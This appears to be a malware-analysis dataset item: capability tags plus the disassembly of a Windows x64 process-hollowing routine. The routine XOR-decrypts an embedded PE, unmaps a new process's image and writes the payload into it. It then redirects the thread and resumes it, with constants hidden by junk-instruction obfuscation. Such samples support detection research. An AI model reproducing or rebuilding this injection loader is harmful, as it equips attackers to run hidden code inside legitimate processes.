Function at 0x140078977
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Resume thread

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4d0]
sub rsp, 0x5d0
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rbp + 0x4c0], rax
push r8
pop r14
push rdx
pop r12
push rcx
pop r15
xor r13d, r13d
mov r9d, r13d
mov rdx, qword [0x140007708]
mov r10, qword [0x140007700]
cmp rdx, r10
je 0x140078a0c
mov rcx, qword [0x140007720]
mov r8, qword [0x140007718]
sub rcx, r8
xor edx, edx
push r9
pop rax
div rcx
movzx eax, byte [r10 + r9]
xor al, byte [rdx + r8]
mov byte [r10 + r9], al
inc r9
mov rdx, qword [0x140007708]
push rdx
pop rax
nop
mov r10, qword [0x140007700]
sub rax, r10
cmp r9, rax
jb 0x1400789ca
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x430], xmm1
mov qword [rbp + 0x440], r13
sub rdx, r10
je 0x140078a5d
lea rcx, [rbp + 0x430]
call fcn.14007a1f1
mov rdi, qword [rbp + 0x430]
mov rbx, qword [0x140007708]
mov rdx, qword [0x140007700]
sub rbx, rdx
push rbx
pop r8
push rdi
pop rcx
nop
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + rdi]
mov qword [rbp + 0x438], rax
mov eax, 0x64a6
pushf
not eax
add eax, 0x737d
xor eax, 0x549b
popf
mov rcx, qword [rbp + 0x430]
cmp word [rcx], ax
jne 0x140078d0b
movsxd rsi, dword [rcx + 0x3c]
add rsi, rcx
cmp dword [rsi], 0x4550
jne 0x140078d0b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x450], xmm0
movups xmmword [rbp + 0x460], xmm0
movups xmmword [rbp + 0x470], xmm0
movups xmmword [rbp + 0x480], xmm0
movups xmmword [rbp + 0x490], xmm0
movups xmmword [rbp + 0x4a0], xmm0
mov qword [rbp + 0x4b0], rax
mov qword [rsp + 0x48], r14
lea rax, [rbp + 0x450]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 5
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
push r12
pop rdx
push r15
pop rcx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140078d04
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140078d04
lea rdx, str.NtUnmapViewOfSection
push rax
pop rcx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov rcx, qword [r14]
call rax
xor edx, edx
mov r8d, 0x206
pushf
not r8d
add r8d, 0x666d
xor r8d, 0x60b6
popf
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp - 0x70], 0x10000b
lea rdx, [rsp + 0x60]
mov rcx, qword [r14 + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140078d04
mov r8d, dword [rsi + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3e9
pushf
not r9d
add r9d, 0x6fef
xor r9d, 0x5c05
popf
mov rdx, qword [rsi + 0x30]
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x58], rax
test rax, rax
je 0x140078d04
mov r9d, dword [rsi + 0x54]
mov qword [rsp + 0x20], r13
mov r8, qword [rbp + 0x430]
push rax
pop rdx
nop
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140078d04
movzx ebx, word [rsi + 0x14]
add rbx, 0x2c
movzx edi, r13w
cmp r13w, word [rsi + 6]
jae 0x140078c3b
add rbx, rsi
nop dword [rax]
mov r9d, dword [rbx - 4]
mov r8d, dword [rbx]
add r8, qword [rbp + 0x430]
mov edx, dword [rbx - 8]
add rdx, qword [rsp + 0x58]
mov qword [rsp + 0x20], r13
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140078d04
add rbx, 0x28
inc di
cmp di, word [rsi + 6]
jb 0x140078c02
push r13
pop r9
mov r10, qword [0x140007700]
cmp qword [0x140007708], r10
je 0x140078c92
nop dword [rax]
mov rcx, qword [0x140007720]
mov r8, qword [0x140007718]
sub rcx, r8
xor edx, edx
push r9
pop rax
div rcx
movzx eax, byte [r9 + r10]
xor al, byte [rdx + r8]
mov byte [r9 + r10], al
inc r9
mov rax, qword [0x140007708]
mov r10, qword [0x140007700]
sub rax, r10
cmp r9, rax
jb 0x140078c53
mov rdx, qword [rbp - 0x18]
add rdx, 0x10
mov qword [rsp + 0x20], r13
mov r9d, 0xfffffcb0
pushf
not r9d
add r9d, 0x6eb8
xor r9d, 0x720f
popf
lea r8, [rsp + 0x58]
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rsi + 0x28]
add rax, qword [rsp + 0x58]
mov qword [rbp - 0x20], rax
lea rdx, [rsp + 0x60]
mov rcx, qword [r14 + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [r14 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov bl, 0x26
pushf
not bl
add bl, 0x45
xor bl, 0x1f
popf
mov rcx, qword [rbp + 0x430]
jmp 0x140078d0d
mov rcx, qword [rbp + 0x430]
xor bl, bl
test rcx, rcx
je 0x140078d49
mov rdx, qword [rbp + 0x440]
sub rdx, rcx
push rcx
pop rax
nop
cmp rdx, 0x1000
jb 0x140078d44
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140078d44
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007a8f5
movzx eax, bl
mov rcx, qword [rbp + 0x4c0]
xor rcx, rsp
call fcn.14007a5d7
mov rbx, qword [rsp + 0x628]
add rsp, 0x5d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret